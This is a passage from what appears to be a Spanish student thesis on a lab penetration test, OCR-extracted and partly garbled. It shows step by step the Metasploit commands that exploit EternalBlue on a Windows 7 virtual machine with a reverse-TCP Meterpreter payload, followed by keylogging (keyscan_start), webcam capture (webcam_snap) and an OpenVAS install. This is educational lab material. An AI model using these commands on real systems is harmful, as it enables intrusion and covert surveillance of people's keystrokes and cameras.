(S HRRBBBERRBBBEBRBRBBBBBRRBBBBRRBBBRRRBBBBRRBBBEBBRBBBBERBBBBBRRBRBBBBRRBBBRRRAB IS
HRBBBRRARY HBBBRARABERBRRBBBGRARBSBRRRRBGROERRABERERRABCRORGIS

# WAVE 4 ###sssis SCORE 31337 #####HHRIIFREHHIRIAIFRRRFFIAREHE HIGH FFFFFFFF #
R s e d
https://metasploit.com

1
318 post ]

@ nops 1
p://r-7.co/trymsp ]

Disclosure Date Rank Check Description
1champion SMB Remote
normal
2017-03-14 average

2017-03-14 average

2017-03-14 normal

Autor: Fuente

Una vez se ingresa al metasploit se debe buscar el exploit a utilizar, para ello se
utiliza el comando search eternal. Figura 34
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Figura 35. Seleccion exploit

Archivo Editar Ver Buscar Terminal Ayuda
#2800t ansaatunssasn s saaaaasReRRRIRRRRRIRABRRRARARRIRRRARRRRRARRDRRERRIRRRNED
D T e
# WAVE 4 ###4#sus SCORE 31337 #HO#NsausONRINRINRIIARIIBIINNRINNS HIGH FFFFFFFF #
D e e T P e P P e P
https://metasploit.com

44 encoders - 10 noj

]
- 1037 auxiliary - 318 post 1
e ]
ploit Pro trial: http co/trymsp 1

t handler(s).
Name e Da Rank

auxiliar /smb/m: normal 016 EternalRomance/EternalSynergy/EternalChampion SMB Remote

normal s 517-010 SMB RCE Detection
average
average No 517~ e Pool Corruption for

normal s e 2rnalCha Remote

Fuente: Autor
Una vez localizado el exploit a utilizar, se debe iniciar usando el comando use,
seguido de la ruta del exploit.

Figura 36. Configuracion del exploit

I Kali Linux [ Corriendo] - Oracle VM VirtualBox - X

Archivo  Maquina Ver Entrada  Dispositivos  Ayuda

Aplicaciones & Terminal v

Archivo Editar Ver Buscar Terminal Ayuda
auxiliary/scanner/smb/smb ms17 010 normal MS17-016 SMB RCE Detection
exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
exploit/windows/smb/ms17_010_eternalblue win8 2017-03-14 average No MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for

Wing+
exploit/windows/smb/ms17_010_psexec 2017-03-14 normal MS17-016 EternalRomance/EternalSynergy/EternalChampion SMB Remote

Windows Code Execution

> use exploit/windows/smb/ms17 016 eternalblue
exploit( ) > show options

[Module options (exploit/windows/smb/ms17 016 eternalblue):

Name ent Setting Required Description

RHOST The target address

RPORT 44 The target port (TCP)

SMBDomain (optional) The Windows domain to use for authentication
SMBPass (optional) The password for the specified username
SMBUSer (optional) The username to authenticate as

VERIFY ARCH  true Check if remote architecture matches exploit Target.
VERIFY_TARGET true Check if remote 0S matches exploit Target.

Exploit target:

Id Name

© Windows 7 and Server 2008 R2 (x64) All Service Packs

st exploit(

Fuente: Autor

Ahora se deben definir las direcciones ip del equipo atacado y del equipo atacante,
para ello se utilizan los comandos rhost y Ihost seguidos de la ip de cada uno de los
equipos, de igual manera se realizara la inyeccion del payload.

En las figuras 37,38,39 y 40 se aprecia la configuracion del equipo sobre el cual se
ejecutara el ataque y el paso a paso de los comandos ejecutados.
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Figura 37. Configuracion del exploit

o)

Ayuda

Archivo Editar _Ver Buscar _Terminal

2017-03-14 average No M517-010 EternalBlue SMB Remote Windows Kernel Pool Corruption

2017-03-14 norsal  No MS17-9 /EternalSynergy/EternalChampion SMB Res

t/windows/snb/ms17_616_eternalblue

> show
Module options (exploit/windows/smb/ms17 016 eternalblue)
Name Current Setting Required cription
RHOST The target address
RPORT 4 The target port (TCP)
sHBDomain (Optional) The Windows domain to use for authenticat
Pass (Optional) The password for the specified username
SHBUSer (Optional) The username to authenticate as
VERIFY ARCH  tru Check tecture matches exploit Target
VERIFY TARGET true Check if remote 05 matches exploit Target
Exploit target
Id Name

indows 7 and Server

nsf exploit(

Fuente: Autor

Figura 38. Configuracion del exploit

2] Kali inus [Corriendo) - Oracle ¥M Vintualgox

Archive Ver _Entrads Di

Archivo Editar _Ver Buscar Ayuda
ndows/smb/m 2017-03-14 normal  No

Wwindows Code Execution

Terminal

nsf > use exploit/windows/smb/ms17_010_eternalblue
nst exploit( ) > show options

Module opt ploit/wind 517_810_eternalblue)
Current Setting Required Description

The target address
get port (TCP)
nal) The Windows domain to use for authentication
(Optional) The pa:
(Optional) The username
VERIFY ARCH  true Check if remote architecture matches exploit Target
VERIFY_TARGET true Check if remote 0S match: loit Targ

2008 R2 (x64) ALl

t 192.168.0.6

t payload windows/x64/meterpreter/reverss

Fuente: Autor
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Figura 39. Configuracion del exploit

£ Kl i Corendol - Oracie

Archivo Msquins Ver

Entrads uds

root@kali: ~ oo

ow options
Module options (exploit/windows 7_010_eternalblue)
Name Current Setting Required Description

RHOST 192.168.0.6 yes The target address
The target port (TCP)

(optional) <
(Optional) The username to authenticate as
VERIFY_ARCH  true Check if remote architecture matches exploit Target
VERIFY_TARGET true yes heck if remote 0S matches exploit Target
Payload options (windows/x64/meterpreter/reverse tcp):
Nanme Current Setting Required Description
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
The 1 ddre:

LHOST (an interface may be specified)
LPORT 4444 ) The 1 port

Exploit target

Windows 7 and Server 2008 R2 (x64) All Service Packs

xploit(

@ @ O @ (8 oereon

F_uenté: Autor

Figura 40. Configuracion del exploit

Archivo Editar Ver Buscar Terminal Pestafias Ayuda
root@kali: ~ x root@k x @ -~
Name Current Setting Required Description
RHOST 2. . The target address
RPORT 445 ] port (TCP)
SMBDomain : (Optional) The Windows domain to use for authentication
SMBPass n (optional) The password for the specified username
SMBUser (Optional) The username to authenticate as

VERIFY_ARCH true Check if remote architecture matches exploit Target.
VERIFY TARGET true Check if remote 0S matches exploit Target.

Payload options (windows/x64/meterpreter/reverse_tcp
Name Current Setting Required Description
thread Exit technique (Accepted: '', , thread, process, none)

The listen address (an interface may be specified)
The listen port

oit target:
Id Name

© Windows 7 and Server 2008 R2 (x64) All Service Packs

nsf exploit( set lhost 192.168.0.4
lhost 192.168.6.4
st exploit(

Fuente: Autor
Una vez realizada la configuracion de los equipos a través del comando set tanto

para el Ihost como para el rhost, se lanza el exploit utilizando el comando exploit
como se observa en figura 41.
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Figura 41. Ejecucion exploit

Archivo Editar Ver Buscar Terminal Pestafias Ayuda

root@Kkali: ~ x t@kall x [ -

msf exploit( ) > set lhost 192.168.0.4
lhost => 192.168.0.4
isf exploit( ) > exploit

Started reverse TCP handler on 192.168.0.4:4444

192.168. - Connecting to target for exploitation.

192.168. Connection established for exploitation

192.168. Target 05 selected valid for 05 indicated by SMB reply

192.168. CORE raw buffer dump (23 bytes)

192.168. - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 55 6¢ 74 69 6d 61 Windows 7 Ultima

192.168. 0x00000010 74 65 20 37 36 30 30 te 7600

192.168. Target arch selected valid for arch indicated by DCE/RPC reply

192.168. Trying exploit with 12 Groom Allocations.

192.168. Sending all but last fragment of exploit packet

192.168. Starting non-paged pool grooming

192.168. Sending SMBv2 buffers

192.168. Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer

192.168. - Sending final SMBv2 buffers

192.168. Sending last fragment of exploit packet!

192.168. Receiving response from exploit packet

192.168. ETERNALBLUE overwrite completed successfully (0xC08000@D)!

192.168. Sending egg to corrupted connection

192.168.0. Triggering free of corrupted buffer

Sending stage (206463 bytes) to 192.168.0.6

192.168.0.6:445 - = =
[+] 192.168.
[+] 192.168.

meterpreter

Fuente: Autor

Una vez lanzado el exploit y se esté por fuera del meterpreter, se utiliza el comando
help donde se listaran todas las opciones disponibles como se observa en la figura
42.

Figura 42. Listado de comandos

2 Kali Linux [Corriendo] - Oracle VM VirtualBox - o x

Archivo  Maquina Ver Entrads  Dispositivos  Ayuda

Archivo Editar Ver Buscar Terminal Pestafias Ayuda
root@kali: ~ x t@kali x [ -

C:\Windows\system32>exit
T
jleterpreter > help

Core Commands

Command Description

2
background

bg

bgkill

bglist

bgrun

channel

close

disable unicode encoding
enable_unicode encoding
exit

get_timeouts

quid

help

info

irb

load

machine_id

migrate

pivot

pry

Fuente: Autor

Help menu

Backgrounds the current session

Alias for background

Kills a background meterpreter script

Lists running background scripts

Executes a meterpreter script as a background thread
Displays information or control active channels
Closes a channel

Disables encoding of unicode strings

Enables encoding of unicode strings

Terminate the meterpreter session

Get the current session timeout values

Get the session GUID

Help menu

pisplays information about a Post module

Open an interactive Ruby shell on the current session
Load one or more meterpreter extensions

Get the MSF ID of the machine attached to the session
Migrate the server to another process

Manage pivot listeners

Open the Pry debugger on the current session
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Figura 43. Listado de comandos del exploit

2 Kali Linux [Corriendo] - Oracle VM VirtualBox - x
Archivo  Méquina Ver Entrada _Dispositivos _ Ayuda

Aplicaciones v Lugares v (3 Terminal v

Archivo Editar Ver Buscar Terminal Pestafias Ayuda

root@kali: ~ x root@kali x -

Command Description

enundesktops ccessible desktops and window stations
getdesktop rent meterpreter desktop

idletime Returns the number of seconds the remote user has been idle
keyscan dump  Dump the keystroke buffer

keyscan_start Start capturing keystrokes

keyscan stop ~ Stop capturing keystrokes

screenshot Grab a screenshot of the interactive desktop

setdesktop Change the meterpreters current desktop

uictl Control some of the user interface components

Command Description

record mic e audio from the default microphone for X seconds
webcam_chat  Start a video chat

webcam_list List webcams

webcam_snap  Take a snapshot from the specified webcam
webcam_stream Play a video stream from the specified webcam

Stdapi: Audio Output Commands

5088 0 el ooz

Fuente: Autor
En la figura 43 se observa la continuacion del listado de comandos del exploit.

Figura 44. Listado de comandos

2 Kali Linux [Corriendo] - Oracle VM VirtualBox - X
Archivo Maquina Ver Entrada _ Dispositivos _ Ayuda

Aplicaciones ¥ Lugares » [ Terminal »

Archivo Editar Ver Buscar Terminal Pestaias Ayuda

root@kali: ~ x root@kali: ~ x -

Command Description

play an audio file on target system, nothing written on disk
Priv: Elevate Commands

Command Description

getsystem Attenm

hashdump Dumps the contents of the SAM database

Priv: Timestomp Command

Command
timestomp Manipulate file MACE attributes

nsf exploit( ) > psil

Fuente: Autor

Para que el ataque pueda ser ejecutado se debe utilizar un proceso activo en el
equipo remoto, para ello se realiza un escaneo de los procesos activos ejecutando
el comando ps, en este caso se utilizara el proceso del bloc de notas.
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Figura 45. Revision de procesos activos en Windows 7

20 Ko Lo Cormendol - Oracle VM Vit o

Arch

2]
root@kali: ~ ©eeeo

ArchivoEditar Ver Buscar Terminal Pestafias Ayuda

root@kali: ~ x x @ ~

eter

AUTHORITY\Servicio de red

AUTHORITY\SYSTEM

AUTHORITY\SYS

AUTHORITY\SYSTEM : 2\csr
csrss.exe AUTHORIT
wininit.exe AUTHORITY\SYSTEM

AUTHORITY\SYSTEM

AUTHORITY\SYSTEM :\Wind stem32\services.exe

AUTHORITY\SYSTEM dows\system32\1s exe

3 tem32\1s

ser de red
AUTHORITY\Servicio de red
AUTHORITY\SYSTEM
AUTHORITY\SERVICIO LOCAL
AUTHORITY\SYSTEM C:\Windows\System32\spools:
AUTHORITY\SERVICIO LOCAL
Windows7-PC\Windows C:\Windows\system32\NOTEPAD . EXE
Windows7-PC\Windows7 Windows\systen32\taskngr.exe

Fuente: Autor
En la figura 45 se observa el listado de procesos activos en el equipo a ser atacado.

Figura 46. Listado de procesos activos

cle VM VirtusiBox o %

) Ko i (Corendo]

Archivo Miquina Ver Entrads _ Dispostivos _ Ayuda

Archivo Editar Ver Buscar Terminal Pestaias Ayuda
root@kali: ~ x t@ka x @ ~

cor5s. €3 NT AUTHORITY\SYSTEM
winin NT AUTHORITY\SYSTEM
inlogon NT AUTHORITY\ EM
NT AUTHORITY\SYSTEM
NT AUTHORITY\SYSTEM
NT AUTHORITY\SYSTEM
NT AUTHORITY\SYSTEM
NT AUTHORITY\SERVICIO LOCAL
NT AUTHORITY\Servicio de red
NT AUTHORITY\Servicio de red
NT AUTHORITY\SYSTEM
NT AUTHORITY LocaL
C:\Windows\Systen32\spoolsv. e
1156 4. svcho. exe El
Windows7-PC\Windows7 C:\Windows\systen32\NOTEPAD . EXE
1684 2696 taskmgr.exe Windows7-PC\Windows7 C:\Windows\sys ten32\ taskngr . exe
svchost . exe NT AUTHORITY\Servicio
NT AUTHORITY\SYSTEM
NT AUTHORITY\SERVICIO LOCAL
NT AUTHORITY\SERVICIO LOCAL
NT AUTHORITY\Servicio de red
NT AUTHORITY\SYSTEM
Windows7-PC\Windows7
Windows7-PC\Window:
Windows7-PC\Windows7
NT AUTHORITY\SYSTEM

meterpreter rate 1264
Migrating from 1124 to

Fuente : Autor

Una vez se ha localizado el proceso, se debe digitar el codigo de identificacién de
este, antecedido del comando migrate como se observa en la figura 46,
posteriormente se lanza el ataque de captura a través del comando keyscan_start.

56



Figura 47. Ejecucion keylogger

EE) K Linux [Corriendo] - Oracle VM VirtualBox - 8 X

Msquins  Ver Entrads

ar, 27 de nov 4 Q-
root@kali: ~ oo
Archivo Editar Ver Buscar Terminal Pestafias Ayuda

root@kali: ~ x root@kali x @ -

) SMB reply
37 20 55 6¢ 74 69 6d 61 Windows 7 Ultima

36 30 30 te 7600
id for arch indicated by DCE/RPC reply

v2 buffer

Fuente: Autor

Una vez en el equipo atacado se realice la ejecucion del programa bloc de notas,
cualquier tipo de informacion digitada sobre este, sera capturada por el atacante.

Figura 48. Ingreso de texto en bloc de notas

Il Windows7 [Coriendo] - Oracle VM VirtualBox - x
Archivo Méquina Ver Entrada Dispositivos  Ayuda

T Nevo documento detoteBioe denotes (== <)
i o e
Este equipo ha sido hackeado por Tuis herrera y carlos diaz

S . nlpo

0 Q%S P LW E [0 o) cr omecia

Fuente: Autor

En la maquina con Kali Linux se puede observar la captura de la informacién
digitada, resultando asi un ataque exitoso.
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Figura 49. Visualizacion texto capturado

Fuente: Autor

Camara Web

A continuacion, se describe el paso a paso del proceso de activacién de la camara
web de un equipo remoto. El primer paso para ello es el ingreso al metasploit.

Figura 50. Inicio de metasploit

root@Akali: ~

root@kali: ~ x

Security Interface

dy. .
access security
access: PERMISSION DENIED.
> access security grid
access: PERMISSION DENIED.
> access main security grid
access: PERMISSION DENIED....and...

et it v4.17 e

[ 1829 exploits - 1037 auxiliary - 318 post

[ 541 payloads - 44 encoders - 10 nops

[ Free Metasploit Pro trial: http://r-7.co/trymsp

1
1
1
1

Fuente: Autor

Para ello se utiliza el exploit que ataca la vulnerabilidad hallada en Eternalblue de
Windows.
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Figura 51. Seleccion del exploit

] 000

Fuente: Autor

Sobre la ventana terminal se escribe el comando search eternal y se presiona la
tecla enter para su ejecucion. Una vez listados los ataques disponibles, se
selecciona el relacionado con la vulnerabilidad eternal blue, para lo cual se procede
a copiar la ruta como se observa en la figura 51, luego mediante el comando use,
seguido de la ruta copiada y la tecla enter se ingresa a la configuracion del exploit.

Figura 52. Seleccion del exploit

——ra ©0o0
x ootk x @ -

Fuente: Autor

Se debe realizar la configuracion de la ip del equipo local y del equipo destino a
través de los comandos |host y rhost respectivamente, para luego realizar la
inyeccion del payload a través del comando set payload. Figura 54
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Figura 53. Configuracion del exploit

root@kali: ~ x root@kali

exploit/windows, b/ms17_010_eternalblue
loit( ) how options

Module options (exploit/windows/smb/ms17_010_eternalblue):
Name Current Setting Required Description
RHOST y The target address
RPORT 445 y The target port (TCP)
SMBDomain (optional) The windows domain to use for authentication
SMBPass (optional) The password for the specified username
SMBUSer (Optional) The username to authenticate as
VERIFY_ARCH true y Check if remote architecture matches exploit Target
VERIFY_TARGET true Check if remote 0S matches exploit Target

Exploit target

Name

windows 7 and Server 2008 R2 (x64) All Service Packs

ploit (

Fuente: Autor

Figura 54. Configuracion del exploit

root@Kkali: ~

root@kali: ~ x root@}

Module options (exploit/windows/smb/msl7 010 eternalblue):

Name Require Description

RHOST The target address

RPORT 445 The target port (TCP)

SMBDomain N (optional) The windows domain to use for authentication
SMBPass (optional) The password for the specified username
SMBUser (optional) The username to authenticate as

VERIFY_ARCH true Check if remote architecture matches exploit Target
VERIFY TARGET true Check if remote 0S matches exploit Target

Exploit target:

Id Name

© Windows 7 and Server 2008 R2 (x64) All Service Packs

msf exploit( ) > set rhost 192.168.0.6
rhost => 192.168.0.6
mst exploit( ) > I

Fuente: Autor
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Figura 55. Configuracion del exploit

root@Kkali: ~

root@Kkali: ~ x root@ka

Name Current Setting Required Description

RHOST The target address

RPORT yes The target port (TCP)

SMBDomain . no (Ooptional) The Windows domain to use for authentication
SMBPass no (Optional) The password for the specified username
SMBUser no (Optional) The username to authenticate as

VERIFY ARCH yes Check if remote architecture matches exploit Target.
VERIFY_TARGET yes Check if remote 0S matches exploit Target.

Exploit target:

Id Name

© Windows 7 and Server 2008 R2 (x64) All Service Packs

msf exploit( ) > set rhost 192.168.0.6

rhost =>_192 1A% A_A

msf exploit( ) > set payload windows/x64/meterpreter/reverse_tcp
pavload => windows/x64/meteroreter/reverse tco

msf exploit( ) > i

I:_uenfe: AU’IEOF

Figura 56. Configuracion del exploit

root@Kkali: ~

root@kali: ~ x root@k

SMBDomain . (optional) The Windows domain to use for authentication
SMBPass (optional) The password for the specified username
SMBUser (Ooptional) The username to authenticate as

VERIFY_ARCH true Check if remote architecture matches exploit Target.
VERIFY TARGET true yes Check if remote 0S matches exploit Target.

Payload options (windows/x64/meterpreter/reverse_tcp):
NEN Current Setting Required Description
Exit technique (Accepted: '', seh, thread, process, none)

LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Exploit target:

Id Name

6 Windows 7 and Server 2008 R2 (x64) All Service Packs

msf exploit( ) = I

Fuente: Autor

Una vez terminada esta configuracion se procede a lanzar el exploit, desde
meterpreter, ejecutando el comando exploit desde la ventana terminal.
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Figura 57. Ejecucion del exploit

LPORT

Exploit target:

Id Name

root@kali: ~

root@kali: ~ x root@ka

The listen port

© Wwindows 7 and Server 2008 R2 (x64) All Service Packs

sf exploit(
ost => 192.168.0.4
f exploit(

Star

192.
192.
192.
192.
192.
192.
192.
192.
192.

ted

168.
168.
168.
168.
168.
168.
168.
168.
168.

Sending

) > set lhost 192.168.0.4

) > exploit

reverse TCP handler on 192.168.60.4:4444
: - Connecting to target for exploitation.
- Connection established for exploitation.

Target 0S selected valid for 0S indicated by SMB reply

- CORE raw buffer dump (23 bytes
- 0x00000000 57 69 6e 64 6f 77 73 20 37 20 55 6¢c 74 69 6d 61 Windows 7 Ultima

0x00000010 74 65 20 37 36 30 30 te 7600

- Target arch selected valid for arch indicated by DCE/RPC reply
- Trying exploit with 12 Groom Allocations

0.6:445 - Sending all but last fragment of exploit packet

stage (206463 bytes) to 192.168.0.6

Fuente: Autor

Figura 58. Ejecucion del exploit

Started

192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
11925
192.
192.
192.
1920
192.
1925
192.

Sending

192.168.

192.168.60.
192.168.0.

168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.

reverse

meterpreter >

Fuente: Autor

6
6
6
6
6
6
6
6
6
.6
.62
6
6
6
6
6
6
a
6:
6:
6:

.6:

445 -
:445 -
:445 -
445 -
445 -
:445
445 -

445

445 -
:445
:445 -

445

;445 -
:445 -
:445

445

1445
.6:445 -
tage (206403 bytes) to 192.168.0.6

root@kali: ~ root@k

TCP handler on 192.168.0.4:4444

Connecting to target for exploitation.

Connection established for exploitation.

Target 0S selected valid for 0S indicated by SMB reply

CORE raw buffer dump (23 bytes)

0x00000000 57 69 6e 64 6f 77 73 20 37 20 55 6¢c 74 69 6d 61 Windows 7 Ultima
0x00000010 74 65 20 37 36 30 30 te 7600
Target arch selected valid for arch indicated by DCE/RPC reply
Trying exploit with 12 Groom Allocations.

Sending all but last fragment of exploit packet

Starting non-paged pool grooming

Sending SMBv2 buffers

- Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
Sending final SMBv2 buffers.

Sending last fragment of exploit packet!

Receiving response from exploit packet

- ETERNALBLUE overwrite completed successfully (0xC000006D) !

- Sending egg to corrupted connection.

Triggering free of corrupted buffer.

445 -

445

445 -

Una vez obtenido el acceso al equipo atacado, utilizando el comando webcam_list
se desplegaran las camaras que estén disponibles como se observa en la figura 59.
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root@kali: ~

Figura 59. Revision de camaras disponibles
L BLE E—
- Connecting to target for exploitation. -
- Connection established for exploitation.

- Target 0S selected valid for 0S indicated by SMB reply

- CORE raw buffer dump (23 bytes)

- 0x00000000 57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61 Windows 7 Ultima
- 0x00000010 74 65 20 37 36 30 30 te 7600

- Target arch selected valid for arch indicated by DCE/RPC reply

- Trying exploit with 12 Groom Allocations.

- Sending all but last fragment of exploit packet

- Starting non-paged pool grooming

192. g

192.168.0.

192.168.0.6:
192.168.0.6:
192.168.0.6:
192.168.0.6:4
192.168.0.6:

192.168.0.6:
192.168.0.
192.168.0.
192.168.0.
192.168.0.
192.168.0.
192.168.
Sending
192.168.
192.168.
192.168.

- Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
- Sending final SMBv2 buffers

- Sending last fragment of exploit packet!

- Receiving response from exploit packet

- ETERNALBLUE overwrite completed successfully (6xC000006D)!
- Sending egg to corrupted connection.

.6:445 - Triggering free of corrupted buffer.

tage (206403 bytes) to 192.168.0.6

.6:445 = = = =

.6:445

.6:445

]
[}
[}
[:]
]
]
[:]
]
[¢]
[¢]
192.168.0.6: - Sending SMBv2 buffers
]
]
[}
[:]
]
¢}
[:]
s
]
[¢]
¢}

meterpreter > webcam list
1: VirtualBox Webcam - VGA Webcam
meterpreter >

Fuente: Autor

Se procede con la ejecucion del comando webcam_snap con lo que se consigue la
ejecucion del ataque sobre el equipo, se desplegara la ruta donde se ha guardado
la imagen capturada.

Figura 60. Ejecucion de camara web

root@kali: ~ X

192.168.
192.168.
192.168.
192.168.
192.168.
192.168.

0.6:445 - 0x00000010 74 65 20 37 36 30 30 te 7600
0.6:445 - Target arch selected valid for arch indicated by DCE/RPC reply
0.6:445 - Trying exploit with 12 Groom Allocations
0.6:445 - Sending all but last fragment of exploit packet
0.6:445 - Starting non-paged pool grooming
0.6:445 - Sending SMBv2 buffers
192.168.0.6:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer
*] 192.168.0.6:445 - Sending final SMBv2 buffers
192.168.0.6:445 - Sending last fragment of exploit packet!
192.168.0.6:445 - Receiving response from exploit packet
192.168.0.6:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
192.168.0.6:445 - Sending egg to corrupted connection.
192.168.0.6:445 - Triggering free of corrupted buffer.
Sending s
192.168.0
192.168.0
192.168.0

tage (206403 bytes) to 192.168.0.6
.6:445 -

.6:445 -

.6:445 - =-

meterpreter > webcam_list
1: VirtualBox Webcam - VGA Webcam
meterpreter > webcam_snap

[+] G me

[*] Stopped

Webcam shot saved to: /root/DLJh]gDs.jpeg
meterpreter >

Fuente: Autor

En la figura 61 se puede observar que el ataque se realiz6 de forma correcta,
obteniendo acceso a la camara web del equipo de forma remota.
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Figura 61. Acceso a camara web

B 100% v DLJhJgDs.jpeg o0

root@kali: ~

192.168.0.6:445 - 0x00000010 74 65 2 BICPRELIES x
192.168.0.6:445 - Target arch selecte _
192.168.0.6:445 - Trying exploit with 640?480‘)”(8[5
192.168.0. 45 - Sending all but las JPEG image
192.168.60. 45 - Starting non-paged File 9.9kB
192.168.0. 45 - Sending SMBv2 buffe F
192.168.0.6:445 - Closing SMBv1 conne

192.168.0. 45 - Sending final SMBvz

192.168.0. - Sending last fragme

192.168.0.6:445 - Receiving response

192.168.0. 45 - ETERNALBLUE overwri

192.168.0. - Sending egg to cor

192.168.0.6:445 - Triggering free of

Sending stage (206403 bytes) to 192.1

192.168.0.6:445 -

192.168.0.

192.168.0.6:445 -

meterpreter > webcam list

1: VvirtualBox Webcam - VGA Webcam
meterpreter > webcam_snap

[*] starting...

[+] Got frame

[*] Stopped

Webcam shot saved to: /root/DLJh]gDs.jpec
meterpreter >

Fuente: Autor

7.2 PRUEBAS DE VULNERABILIDAD

Instalacién de OpenVas

Para iniciar con la instalacion, se debe abrir la ventana de terminal y ejecutar el
comando apt-get install openvas, con esto se obtendran los paquetes de instalacion.

Figura 62. Instalacion OpenVas

root@Kkali: ~ e ® 0

File Edit View Search Terminal Help
RX errors © dropp e frame 0
TX packets 157 byte 6 (12 KiB)
TX errors © dropped © overruns © carrier © collisions ©

# apt-get install openvas
RESEING  pacRage TIsTs vone
Building dependency tree
Reading e information... Do
dditional pac
fonts-texgyre gnut -bin greenbo
greenbone-security tant-common libalgorithm-diff-x
libb-hooks-op-check-perl libcairo-gobject-perl libcairo-perl

libclass-c3-xs-perl libclass-load-xs-perl libcrypt eay-perl
Libdbd-mysql-perl libdbd-sqlite3-perl libdbi-perl libdevel-callchecker-perl
libdevel-caller-perl libde lias-perl libdigest-crc-perl
libdigest-md4-perl libfcgi-perl libfile-fcntllock-perl libgdbm-compat4
libgdbmé libglib-object-introspection-perl libglib-perl libgtk2-per
libhiredis®.14 libhtml-parser-perl liblocale-gettext-perl liblua5.1-0
Libmath-random-isaac-xs-perl libmicrohttpdl2 libmoose-perl libnet-dbus-perl

sec-perl libnet-libidn-perl libnet-pcap-perl libnet-rawip-per
2-perl libnet-ssleay-perl libopenvas9 libpackage-sta
lker-perl libpango-perl libparams-cla
libpcsc-perl libperl5.28 libradcli4 libsnmp-perl mp3@ libsocket6-per
libssh-4 libssl1.1 libsub-identify-perl Llibsub-name-perl

Fuente: Autor

64



Figura 63. Progreso de instalacion

root@kali: ~ e ® 0

File Edit View Search Terminal Help
libglib-object-introspection-perl libglib-perl libgtk2-perl
libhtml-parser-perl liblocale-gettext-perl libmath-random-isaac-xs-perl
libmoose-perl libnet-dbus-perl libnet-dns-sec-perl libnet-libidn-perl
libnet-pcap-perl libnet-rawip-perl libnet-ssh2-perl libnet-ssleay-perl
libpackage-stash-xs-perl libpadwalker-perl libpango-perl
libparams-classify-perl libparams-util-perl libpcsc-perl libsnmp-perl
libsnmp30® libsocket6-perl libssh-4 1libssl1.1 libsub-identify-perl
libsub-name-perl libterm-readkey-perl libterm-readline-gnu-perl
libtext-charwidth-perl libtext-iconv-perl libvariable-magic-perl
libxml-libxml-perl libxml-parser-perl perl perl-base perl-tk python-httplib2
snmp snmpd

58 upgraded, 31 newly installed, © to remove and 1371 not upgraded.

Need to get 85.8 MB/107 MB of archives.

After this operation, 303 MB of additional disk space will be used.

Do you want to continue? [Y/n]

Get:1 http://kali.download/kali kali-rolling/main amd64 libuuid-perl amd64 0.27-

1+b3 [18.6 kB]

Get:2 http://kali.download/kali kali-rolling/main amd64 libyaml-tiny-perl all 1.

73-1 [32.3 kB]

Get:3 http://kali.download/kali kali-rolling/main amd64 doc-base all 0.10.8 [102
kB]

Get:4 http://kali.download/kali kali-rolling/main amd64 fonts-texgyre all 201806

21-2 [10.2 MB]

32% [4 fonts-texgyre 1,664 kB/10.2 MB 16%] ]

Fuente: Autor

Para la configuracidn del openvas se utiliza el comando openvas-setup, una vez
finalizado el proceso de instalacion se obtendra la contrasefia de ingreso y el enlace
para poder ingresar a la interfaz grafica.

Figura 64. Instalacion de OpenVas

root@kali: ~ e ® 0

File Edit View Search Terminal Help

Processing triggers for tex-common (6.09)

Running updmap-sys. This may take some time... done.
Running mktexlsr /var/lib/texmf ... done.

Processing triggers for libc-bin (2.27-5)
Processing triggers for systemd (239-7)

:~# openvas-setup

[>] Updating OpenVAS feeds

[*] [1/3] uUpdating: NVT

--2018-11-25 22:20:40-- http://dl.greenbone.net/community-nvt-feed-current.tar

bz2

Resolving dl.greenbone.net (dl.greenbone.net)... 89.146.224.58, 2a01:130:2000:12
::dl

Connecting to dl.greenbone.net (dl.greenbone.net)|89.146.224.58|:80... connected

HTTP request sent, awaiting response... 200 0K

Length: 30298924 (29M) [application/octet-stream]

Saving to: ‘/tmp/greenbone-nvt-sync.88Nwl6suPf/openvas-feed-2018-11-25-15230.tar
.bz2’

/tmp/greenbone-nvt- 3%[ 1.07M 470KB/s

Fuente: Autor
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Figura 65. Finalizacién instalacion OpenVas

root@Kali: ~ e ® O
File Edit View Search Terminal Help
Process: 1779 ExecStart=/usr/sbin/openvasmd --listen=127.0.0.1 --port=9390 --
atabase=/var/lib/openvas/mgr/tasks.db (code=exited, status=0/SUCCESS)
Main PID: 1781 (openvasmd)
Tasks: 1 (limit: 2353)
Memory: 69.7M
CGroup: /system.slice/openvas-manager.service
L1781 openvasmd

Nov 25 22:58:44 kali systemd[1]: Starting Open Vulnerability Assessment System M
i systemd[1]: openvas-manager.service: Can't open PID file /v|

ar/run/openvasmd.pid (yet?) after start: No such file or directory

Nov 25 22:58:45 kali systemd[1]: Started Open Vulnerability Assessment System Ma

nager Daemon.

[*] Opening Web UI (https://127.0.0.1:9392) in: 5...

[>] Checking for admin user

[*] Creating admin user

User created with password '7d4ace9e-533b-4b3e-9588-8b8a3b69d4fb' .

[+] Done

i
Fuente: Autor
Una vez finalizado el proceso se puede ingresar a la interfaz grafica con los datos

obtenidos, se coloca en el navegador el enlace de acceso y posteriormente el
usuario y la contrasefa.

Figura 66. Ingreso a OpenVas

r

Greenbone Security Assistant - Mozilla Firefox e ® O
& Greenbone Security A.. x | +
@ & | https://127.0.0.1:9392/login/login c Search w B » =

[ Most Visitedv  JllOffensive Security " Kali Linux “ Kali Docs "% Kali Tools # Exploit-DB >
Gr b Security i Version 7.0.3  ~

Username: aamin

a4
d:

Login

Greenbone
Security
Assistant

Fuente: Autor

Una vez se ingresa, se podran realizar las tareas de escaneo de vulnerabilidades.
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Figura 67. Pagina principal de OpenVas

Greenbone Security Assistant - Mozilla Firefox e 06 o

/ & Greenbone Security A.. x | +

€ ) ® & | https://127.0.0.1:9392/omp? cmd=dashboard&token ¢ ||Q Search wBa ¥ A 9 =

